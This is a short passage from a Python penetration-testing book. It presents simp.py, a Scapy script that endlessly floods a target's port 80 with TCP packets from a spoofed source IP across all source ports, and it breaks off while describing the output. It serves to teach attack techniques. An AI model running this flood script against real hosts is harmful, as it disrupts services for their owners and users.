Python Penetration Testing Essentials - Second Edition

Single IP, multiple port

Now, in this attack, we use a single IP address but multiple ports.

Here, I have written the code of the simp.py program:

from scapy.all import *

src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")

i=1
while True: 
  for srcport in range(1,65535): 
    IP1 = IP(src=src, dst=target)
    TCP1 = TCP(sport=srcport, dport=80)
    pkt = IP1 / TCP1
    send(pkt,inter= .0001)
    print "packet sent ", i
    i=i+1

I used the for loop for the ports. Let's check the output of the attacker:

Packets from the attacker's machine

The preceding screenshot shows that the packet was sent successfully. Now, check the output on the ...